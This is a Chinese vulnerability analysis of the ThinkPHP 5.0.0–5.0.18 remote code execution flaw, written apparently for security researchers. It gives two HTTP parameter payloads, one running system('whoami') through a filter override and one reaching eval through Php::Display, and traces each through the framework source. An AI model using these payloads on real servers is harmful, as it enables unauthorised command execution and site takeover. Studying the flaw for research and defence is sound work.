Thinkphp5.0.05.0.18RCE分析

1.本文一共1732个字 26张图 预计阅读时间15分钟
2.本文作者Panacea 属于Gcow安全团队复眼小组 未经过许可禁止转载
3.本篇文章主要分析了Thinkphp5.0.0-5.0.18RCE情况
4.本篇文章十分适合漏洞安全研究人员进行交流学习
5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽


0x00.前言

本篇文章基于thinkphp5.*框架，分析两种payload的构成以及执行流程

准备

Windows+phpstudy

tp版本：thinkphp_5.0.5_full

php版本：5.4.45

phpstorm+xdebug

0x01.Payload1

开始分析

漏洞代码位于：thinkphp/library/think/Request.php

首先放上payload：

s=whoami&_method=__construct&method=post&filter[]=system

method方法主要用来判断请求方式，首先分析一下这段代码的逻辑：通过$_SERVER和server方法获取请求类型，如果不存在method变量值，那么就用表单请求类型伪装变量覆盖method的值，那么就可以利用这点调用其他函数，预定义里面method为false，那么就会直接走下一步的是否存在表单覆盖变量

从get方法中获取var_method的值，值为_method

在config.php已经有默认值，但我们构造的payload里面传值_method=__construct就是变量覆盖，因此下一步会走到__construct方法

// 表单请求类型伪装变量
'var_method' => '_method',


继续往下跟代码，来到__construct构造方法，将数组option进行遍历操作，如果option的键名为该属性的话，则将该同名的属性赋值给\$option的键值，如果filter为空的空，就调用默认的default_filter值

filter方法：

public function filter($filter = null)
{
if (is_null($filter)) {
return $this->filter;
} else {
$this->filter = $filter;
}
}


而默认的过滤方法为空

// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',


在构造函数里面走完filter之后会走input方法，继续跟进

继续往下跟，这里的method已经为post方法，所以进入param方法里的post是直接break的

下一步进入filtervalue方法中，可以看到我们要传入的值已经全部传进了，call_user_func()函数将我们传入的\$filter=system作为回调函数调用，也就达到了RCE的目的

0x02.Payload2

前提

该利用的重点在于在一定条件下可以使用::来调用非静态方法

首先我们需要了解静态属性和静态方法是如何调用的，静态属性一般使用self::进行调用，但是在该篇博客上面使用了::的骚操作，用::调用非静态方法

class People{
static public $name = "pana";
public $height = 170;
static public function output(){
//静态方法调用静态属性使用self
print self::$name."
";
//静态方法调用非静态属性（普通方法）需要先实例化对象
$t = new People() ;
print $t -> height."
";
}
public function say(){
//普通方法调用静态属性使用self
print self::$name."
";
//普通方法调用普通属性使用$this
print $this -> height."
";
}
}
$pa = new People();
$pa -> output();
$pa -> say();
//可以使用::调用普通方法
$pan = People::say();


可以看到最后的输出，仍然输出了name的值，但是却没有输出height的值

原因在于:php里面使用双冒号调用方法或者属性时候有两种情况：

直接使用::调用静态方法或者属性

::调用普通方法时，需要该方法内部没有调用非静态的方法或者变量，也就是没有使用$this，这也就是为什么输出了name的值而没有输出height

了解上面这些，我们就可以开始下面的分析

0x03.分析

先放上流程图（本人比较菜鸡 所以只能用这种方法记录下来流程）

首先放上payload

path='); ?>&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=\think\view\driver\Php::Display&method=GET


payload的分析

使用file_put_contents()写入，使用变量覆盖将_method的值设置为_construct，这里的set_error_handler是设置用户自定义的错误处理程序，能够绕过标准的php错误处理程序，接下来就是调用\think\view\driver\Php下面的Display方法，因为我们要利用里面的

eval('?>' . $content);


完成RCE的目的

虽然会报错，但是不影响写入

首先从App.php开始，在routeCheck方法处打断点

public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php';
if (is_array($rules)) {
Route::rules($rules);
}
} else {
$files = $config['route_config_file'];
foreach ($files as $file) {
if (is_file(CONF_PATH . $file . CONF_EXT)) {
// 导入路由配置
$rules = include CONF_PATH . $file . CONF_EXT;
if (is_array($rules)) {
Route::import($rules);
}
}
}
}


这一步主要是获取$path的值，也就是我们要走的路由captcha

继续往下走，$result = Route::check($request, $path, $depr, $config[‘url_domain_deploy’]);，跟进check方法，这里面的重点就是获取method的值，$request->method()

这里是调用var_method，因为我们传入了_method=__construct，也就是变量覆盖，这些步骤和上面的几乎一样

那下一步继续跟进__construct，走完construct函数后，可以看到大部分的值都是我们希望传进去的，这时method的值为GET，也就是为什么payload里面要传GET的原因

下一步要获取当前请求类型的路由规则

$rules = self::$rules[$method];


可以看到这里的rule和route的值都发生了改变，路由值为\think\captcha\CaptchaController@index

接下来跟进routeCheck()方法，走完这个方法后，返回result值

接下来进入dispatch方法

接下来进入param方法，合并请求参数和url地址栏的参数

$this->param = array_merge($this->get(false), $vars, $this->route(false));


然后进入get方法，继续跟进input方法

然后就会回到filterValue方法执行任意方法

0x04.参考文章：

https://y4tacker.blog.csdn.net/article/details/115893304

https://y4tacker.blog.csdn.net/article/details/115893304